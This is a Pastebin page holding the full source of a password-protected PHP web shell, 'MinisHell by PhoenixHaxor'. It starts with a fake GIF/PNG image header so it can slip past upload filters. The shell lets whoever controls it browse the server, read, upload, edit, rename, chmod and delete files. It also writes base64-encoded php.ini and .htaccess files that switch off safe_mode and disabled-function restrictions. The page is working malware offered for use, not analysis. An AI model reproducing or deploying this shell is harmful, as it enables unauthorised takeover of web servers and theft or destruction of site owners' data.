API tools faq
paste
phnxhxr

Untitled

phnxhxr
Feb 8th, 2020
89
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.76 KB | None | 0 0
raw download clone embed print report
  1. GIF89aôÜ ÷ÿ ËÜñUñ‰t¨Loîm“Ê*-Sidšl†½ìúÿ=‰PNG<?php
  2. @session_start();
  3. @set_time_limit(0);
  4.  
  5. //PASSWORD CONFIGURATION
  6.  
  7. @$pass = $_POST['pass'];
  8. $chk_login = true;
  9. $password = "ak4m3";
  10. //END CONFIGURATION
  11.  
  12. if($pass == $password)
  13. {
  14. $_SESSION['nst'] = "$pass";
  15. }
  16.  
  17. if($chk_login == true)
  18. {
  19. if(!isset($_SESSION['nst']) or $_SESSION['nst'] != $password)
  20. {
  21. die("
  22. <title>[+] WH000TZ [+]</title>
  23. <center>
  24. <table border=0 cellpadding=0 cellspacing=0 width=100% height=100%>
  25. <tr><td valign=middle align=center>
  26. <table width=250 bgcolor=black border=8 bordercolor=Lime><tr><td>
  27. <tr><td><img src='https://static.zerochan.net/Akame.%28Akame.ga.Kill%21%29.full.1742516.jpg' style='width:350px; height:450px;' border='3'>
  28. <font size=1 face=verdana><center>
  29. <b></font></a><br></b>
  30. </center>
  31. <form method=post>
  32. <font size=3 face=verdana color=white><strong><center>PhoenixHaxor</center></strong><br>
  33. <center><input type=password name=pass size=25>
  34. </form> </center>
  35. <font size=1 face=iceland color=grey><strong><center>Host Target:</b> ".$_SERVER["HTTP_HOST"]."<br>
  36. <font size=1 face=iceland color=grey><strong><center>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>
  37. <font size=1 face=iceland color=grey><strong><center>My IP:<b> ".$_SERVER["REMOTE_ADDR"]."
  38. </td></tr></table>
  39. </td></tr></table> </center>
  40. ");
  41. }
  42. }
  43. echo '<!DOCTYPE HTML>
  44. <HTML>
  45. <HEAD>
  46. <link href="" rel="stylesheet" type="text/css">
  47. <title>PhoenixHaxor Shells</title>
  48. <link rel="icon" type="image/png" href="http://s20.postimg.org/gfg5gty7h/logo3_croped.jpg">
  49. <style>
  50. body{
  51. font-family:Courier;
  52. background-color: #e6e6e6;
  53. text-shadow:0px 0px 1px blue;
  54. }
  55. #content tr:hover{
  56. background-color: #636263;
  57. text-shadow:0px 0px 5px red;
  58. }
  59. #content .first{
  60. background-color: silver;
  61. }
  62. #content .first:hover{
  63. background-color: red;
  64. text-shadow:0px 0px 1px #757575;
  65. }
  66. table{
  67. border: 2px blue dotted;
  68. }
  69. H1{
  70. font-family: "Rye", Courier;
  71. }
  72. a{
  73. color: #000;
  74. text-decoration: none;
  75. }
  76. a:hover{
  77. color: #fff;
  78. text-shadow:0px 0px 10px #ffffff;
  79. }
  80. input,select,textarea{
  81. border: 2px rgb(100, 0, 255) solid;
  82. -moz-border-radius: 5px;
  83. -webkit-border-radius:5px;
  84. border-radius:5px;
  85. box-shadow: 0px 0px 5px rgb(100, 0, 255);
  86. }
  87. </style>
  88. </HEAD>
  89. <BODY>
  90. <H1><center><font style= "text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 8px rgb(255, 0, 0), 0px 0px 8px rgb(255, 0, 0); color: rgb(255, 255, 255); font-weight: bold;" >..::MinisHell by PhoenixHaxor::..</br></font></H1><center>
  91. <h2><font style= "text-shadow: 0px 0px 6px rgb(100, 0, 255), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0); color: rgb(255, 255, 255); font-weight: bold;">~~~<font color="red"></font>Family Attack Cyber~~~</font>
  92. </h2></center>';
  93.  
  94. echo'<table width="700" border="1" cellpadding="5" cellspacing="4" align="center">
  95. <tr><td>';
  96.  
  97. echo '<center><b><font color=red>Server IP:- </font>'.$_SERVER['SERVER_ADDR'].' ~~~
  98. <font color=red>Your IP:- </font>'.$_SERVER['REMOTE_ADDR'].'</b></center>';
  99.  
  100.  
  101. echo '<table width="700" colspan="5" border="1"><tr><td>';
  102.  
  103.  
  104.  
  105.  
  106. echo '<center>CWD :-';
  107. if(isset($_GET['path'])){
  108. $path = $_GET['path'];
  109. }else{
  110. $path = getcwd();
  111. }
  112. $path = str_replace('\\','/',$path);
  113. $paths = explode('/',$path);
  114.  
  115. foreach($paths as $id=>$pat){
  116. if($pat == '' && $id == 0){
  117. $a = true;
  118. echo '<a href="?path=/">/</a>';
  119. continue;
  120. }
  121. if($pat == '') continue;
  122. echo '<a href="?path=';
  123. for($i=0;$i<=$id;$i++){
  124. echo "$paths[$i]";
  125. if($i != $id) echo "/";
  126. }
  127. echo '">'.$pat.'</a>/';
  128. }
  129. echo '</td></tr><tr><td><center>';
  130.  
  131.  
  132.  
  133. if(isset($_FILES['file'])){
  134. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  135. echo '<font color="green">~~~ File Uploaded ~~~</font><br />';
  136. }else{
  137. echo '<font color="red">~~~ Upload Failed ~~~</font><br/>';
  138. }
  139. }
  140. echo '<form enctype="multipart/form-data" method="POST">
  141. Upload Files : <input type="file" name="file" />
  142. <input type="submit" value="upload" />
  143. </form>
  144. </td></tr>';
  145.  
  146.  
  147.  
  148.  
  149.  
  150. if(isset($_GET['filesrc'])){
  151. echo "<tr><td>Current File : ";
  152. echo $_GET['filesrc'];
  153. echo '</tr></td></table><br />';
  154. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  155. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  156. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  157. if($_POST['opt'] == 'chmod'){
  158. if(isset($_POST['perm'])){
  159. if(chmod($_POST['path'],$_POST['perm'])){
  160. echo '<font color="green">Change Permission Done.</font><br />';
  161. }else{
  162. echo '<font color="red">Change Permission Error.</font><br />';
  163. }
  164. }
  165. echo '<form method="POST">
  166. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  167. <input type="hidden" name="path" value="'.$_POST['path'].'">
  168. <input type="hidden" name="opt" value="chmod">
  169. <input type="submit" value="Go" />
  170. </form>';
  171. }elseif($_POST['opt'] == 'rename'){
  172. if(isset($_POST['newname'])){
  173. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  174. echo '<font color="green">Change Name Done.</font><br />';
  175. }else{
  176. echo '<font color="red">Change Name Error.</font><br />';
  177. }
  178. $_POST['name'] = $_POST['newname'];
  179. }
  180. echo '<form method="POST">
  181. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  182. <input type="hidden" name="path" value="'.$_POST['path'].'">
  183. <input type="hidden" name="opt" value="rename">
  184. <input type="submit" value="Go" />
  185. </form>';
  186. }elseif($_POST['opt'] == 'edit'){
  187. if(isset($_POST['src'])){
  188. $fp = fopen($_POST['path'],'w');
  189. if(fwrite($fp,$_POST['src'])){
  190. echo '<font color="green">~~~ File Edit Done ~~~</font><br />';
  191. }else{
  192. echo '<font color="red">~~~ File Edit Error ~~~</font><br />';
  193. }
  194. fclose($fp);
  195. }
  196. echo '<form method="POST">
  197. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  198. <input type="hidden" name="path" value="'.$_POST['path'].'">
  199. <input type="hidden" name="opt" value="edit">
  200. <input type="submit" value="Go" />
  201. </form>';
  202. }
  203. echo '</center>';
  204. }else{
  205. echo '</table><br /><center>';
  206. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  207. if($_POST['type'] == 'dir'){
  208. if(rmdir($_POST['path'])){
  209. echo '<font color="green">Delete Dir Done.</font><br />';
  210. }else{
  211. echo '<font color="red">Delete Dir Error.</font><br />';
  212. }
  213. }elseif($_POST['type'] == 'file'){
  214. if(unlink($_POST['path'])){
  215. echo '<font color="green">Delete File Done.</font><br />';
  216. }else{
  217. echo '<font color="red">Delete File Error.</font><br />';
  218. }
  219. }
  220. }
  221. echo '</center>';
  222. $scandir = scandir($path);
  223. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  224. <tr class="first">
  225. <td><center>Name</center></td>
  226. <td><center>Size</center></td>
  227. <td><center>Permissions</center></td>
  228. <td><center>Options</center></td>
  229. </tr>';
  230.  
  231. foreach($scandir as $dir){
  232. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  233. echo "<tr>
  234. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  235. <td><center>--</center></td>
  236. <td><center>";
  237. if(is_writable("$path/$dir")) echo '<font color="green">';
  238. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  239. echo perms("$path/$dir");
  240. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  241.  
  242. echo "</center></td>
  243. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  244. <select name=\"opt\">
  245. <option value=\"\"></option>
  246. <option value=\"delete\">Delete</option>
  247. <option value=\"chmod\">Chmod</option>
  248. <option value=\"rename\">Rename</option>
  249. </select>
  250. <input type=\"hidden\" name=\"type\" value=\"dir\">
  251. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  252. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  253. <input type=\"submit\" value=\">\" />
  254. </form></center></td>
  255. </tr>";
  256. }
  257. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  258. foreach($scandir as $file){
  259. if(!is_file("$path/$file")) continue;
  260. $size = filesize("$path/$file")/1024;
  261. $size = round($size,3);
  262. if($size >= 1024){
  263. $size = round($size/1024,2).' MB';
  264. }else{
  265. $size = $size.' KB';
  266. }
  267.  
  268. echo "<tr>
  269. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  270. <td><center>".$size."</center></td>
  271. <td><center>";
  272. if(is_writable("$path/$file")) echo '<font color="green">';
  273. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  274. echo perms("$path/$file");
  275. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  276. echo "</center></td>
  277. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  278. <select name=\"opt\">
  279. <option value=\"\"></option>
  280. <option value=\"delete\">Delete</option>
  281. <option value=\"chmod\">Chmod</option>
  282. <option value=\"rename\">Rename</option>
  283. <option value=\"edit\">Edit</option>
  284. </select>
  285. <input type=\"hidden\" name=\"type\" value=\"file\">
  286. <input type=\"hidden\" name=\"name\" value=\"$file\">
  287. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  288. <input type=\"submit\" value=\">\" />
  289. </form></center></td>
  290. </tr>";
  291. }
  292. echo '</table>
  293. </div>';
  294. }
  295.  
  296. echo'<br>';
  297. if($_POST['PhoenixHaxor']=='BGHH'){
  298. error_reporting(0);
  299. $phpini =
  300. 'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
  301. $file = fopen("php.ini","w+");
  302. $write = fwrite ($file ,base64_decode($phpini));
  303. fclose($file);
  304. $htaccess =
  305. 'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
  306. $file = fopen(".htaccess","w+");
  307. $write = fwrite ($file ,base64_decode($htaccess));
  308. echo "<hr><center><b>DONE!";
  309. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  310. exit;
  311. }
  312. echo "<center>
  313. <form action='' method='post'>
  314. <table style='width:700px;' border='1'>
  315. <th colspan=10><font color=red>Security Info</font></th><tr>
  316. <td>Uname </td><td>";
  317. echo php_uname();
  318. echo '</td></tr><tr>
  319. <td valign="top" style="width: 139px">Safe Mode</td>
  320. <td valign="top" colspan="5">';
  321. $safe_mode = ini_get('safe_mode');
  322. if($safe_mode=='1')
  323. {
  324. echo '<font color=red>ON</font>';
  325. }else{
  326. echo '<font color=#00ff00>OFF</font>';
  327. }
  328. echo '</td></tr><tr>
  329. <td valign="top" style="width: 170px">Disabled Functions</td>
  330. <td valign="top" colspan="5">
  331. <form method="POST" target="_blank">
  332. <input name="PhoenixHaxor" type="hidden" value="BGHH">';
  333. if(''==($func=@ini_get('disable_functions')))
  334. {
  335. echo "<font color=#00ff00>No Security for Function</font></b></table><br>";
  336. }
  337. else{
  338. echo '<script>alert("Please see below and press .:: Enable all Functions ::.");</script>';
  339. echo "<font color=red>$func</font></b>";
  340. echo '</table>';
  341. echo '<center><input type="submit" value=".:: Enable all Functions ::.">';
  342. echo '</td></tr></tr>';
  343. }
  344. echo '<center>~~~Copyright<font color="blue">@2k17</font>~~~<font color="red">v2.0</font></center>
  345. </BODY>
  346. </HTML></table>';
  347. echo'<br><br>';
  348. function perms($file){
  349. $perms = fileperms($file);
  350.  
  351. if (($perms & 0xC000) == 0xC000) {
  352. // Socket
  353. $info = 's';
  354. } elseif (($perms & 0xA000) == 0xA000) {
  355. // Symbolic Link
  356. $info = 'l';
  357. } elseif (($perms & 0x8000) == 0x8000) {
  358. // Regular
  359. $info = '-';
  360. } elseif (($perms & 0x6000) == 0x6000) {
  361. // Block special
  362. $info = 'b';
  363. } elseif (($perms & 0x4000) == 0x4000) {
  364. // Directory
  365. $info = 'd';
  366. } elseif (($perms & 0x2000) == 0x2000) {
  367. // Character special
  368. $info = 'c';
  369. } elseif (($perms & 0x1000) == 0x1000) {
  370. // FIFO pipe
  371. $info = 'p';
  372. } else {
  373. // Unknown
  374. $info = 'u';
  375. }
  376.  
  377. // Owner
  378. $info .= (($perms & 0x0100) ? 'r' : '-');
  379. $info .= (($perms & 0x0080) ? 'w' : '-');
  380. $info .= (($perms & 0x0040) ?
  381. (($perms & 0x0800) ? 's' : 'x' ) :
  382. (($perms & 0x0800) ? 'S' : '-'));
  383.  
  384. // Group
  385. $info .= (($perms & 0x0020) ? 'r' : '-');
  386. $info .= (($perms & 0x0010) ? 'w' : '-');
  387. $info .= (($perms & 0x0008) ?
  388. (($perms & 0x0400) ? 's' : 'x' ) :
  389. (($perms & 0x0400) ? 'S' : '-'));
  390.  
  391. // World
  392. $info .= (($perms & 0x0004) ? 'r' : '-');
  393. $info .= (($perms & 0x0002) ? 'w' : '-');
  394. $info .= (($perms & 0x0001) ?
  395. (($perms & 0x0200) ? 't' : 'x' ) :
  396. (($perms & 0x0200) ? 'T' : '-'));
  397.  
  398. return $info;
  399. }
  400. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!